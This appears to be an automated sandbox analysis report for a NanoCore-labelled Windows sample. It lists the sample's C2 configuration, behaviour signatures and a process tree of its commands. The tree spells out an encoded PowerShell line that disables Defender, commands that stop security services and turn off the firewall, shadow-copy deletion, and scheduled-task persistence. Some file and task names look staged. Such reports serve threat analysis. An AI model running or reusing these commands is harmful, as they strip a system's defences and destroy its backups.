Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 15:12

General

  • Target
    xoilac-tv.work_chrome.exe
  • Size 57KB
  • Sample260930-slchwsxfpg
  • SHA256 20817f0d174302dfb95fd89239df42d172ade79def85ffe4b03bd7b2ea744d47
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://xoilac-tv.work

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://xoilac-tv.work

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4764
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3464
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:6080
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5004
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:4644
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2772
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5484
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4628
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4168
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe"
        3⤵
          PID:2436
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2520
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:6048
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:5652
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3020
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:1316
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6048
        • C:\Windows\System32\Conhost.exe
          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          3⤵
            PID:4764
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe" /sc minute /mo 30 /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3880
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4396
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:1236
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Reads the TCP/IP host and domain name from the registry
            • Suspicious behavior: EnumeratesProcesses
            PID:2624
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:6056
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:4960
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1916
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            3⤵
              PID:6080
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Discovers running processes
              PID:1604
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:880
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
                PID:1192
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5760
              • C:\Windows\system32\net.exe
                net user
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2672
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user
                  4⤵
                    PID:5476
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4212
                • C:\Windows\system32\ipconfig.exe
                  ipconfig /all
                  3⤵
                  • Gathers network information
                  PID:4836
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:2292
                • C:\Windows\system32\NETSTAT.EXE
                  netstat -an
                  3⤵
                  • Gathers network information
                  PID:4856
              • C:\Windows\SYSTEM32\schtasks.exe
                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe" /sc daily /f
                2⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2468
              • C:\Windows\System32\wscript.exe
                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                2⤵
                • Executes a VBScript file via the Windows Script Host.
                PID:5332
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:2828
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:2356
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Reads the TCP/IP host and domain name from the registry
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2860
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3420
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:5620
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4868
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:2924
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:2384
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4344
                • C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe
                  1⤵
                    PID:4304
                  • C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe
                    C:\Users\Admin\AppData\Local\Temp\xoilac-tv.work_chrome.exe
                    1⤵
                      PID:3256
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k GPSvcGroup
                      1⤵
                        PID:3216

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            scr_20260930_161427.jpg

                            • Path C:\ProgramData\SysUpdate\Scr\scr_20260930_161427.jpg
                            • Size 102KB
                            • SHA256 01cee2d303747d9a5757106964cf6aaea82225fc202d97baaebe6e6f2ecae0fb
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            invoice_1.pdf

                            • Path C:\ProgramData\invoice_1.pdf
                            • Size 76KB
                            • SHA256 872a64a794878642e836531b79eda18534cf03e01c94eae1f9888cf047159110
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_3.pdf

                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 76KB
                            • SHA256 31c787d66e1313267006b058de352ffe5dc1400e06b294f4bd9fefef9e2cb20b
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 246B
                            • SHA256 20287c992e36a99332a242f85bbba8d39e7129b62113896326ce81f764a7a3ab
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 247B
                            • SHA256 cdd296f9fa2807160b42d40ed1f5b84d75401624b448703e0ed63eff639f867e
                            • MD5 SHA1 SHA512 TLSH

                            temp_steal.log

                            • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                            • Size 137KB
                            • SHA256 3d4b32f481015bef576a3de0cd0b792f406105c5ea63c6c8fbd9884f82d16157
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            stolen_data_here.txt

                            • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                            • Size 137KB
                            • SHA256 059d4f3bb748b9a75f11fda6d7650d248d38bd07f0fd621e0bf3e3d38189f579
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/2828-2275-0x000001B6DA470000-0x000001B6DA471000-memory.dmp

                            memory/3520-25-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-10-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-0-0x00007FFD123AF000-0x00007FFD123B0000-memory.dmp

                            memory/3520-2-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-3-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-2281-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-2279-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-4-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-2271-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-1-0x0000000000DF0000-0x0000000000E04000-memory.dmp

                            memory/3520-5-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-8-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/3520-9-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-23-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-26-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-49-0x00000197A5140000-0x00000197A515E000-memory.dmp

                            memory/4764-52-0x00000197A5130000-0x00000197A513A000-memory.dmp

                            memory/4764-54-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-15-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-11-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-50-0x00000197A5160000-0x00000197A5212000-memory.dmp

                            memory/4764-22-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-12-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-24-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-19-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-20-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-21-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp

                            memory/4764-16-0x00000197A4DB0000-0x00000197A4DD2000-memory.dmp

                            memory/4764-17-0x00007FFD12220000-0x00007FFD12BC4000-memory.dmp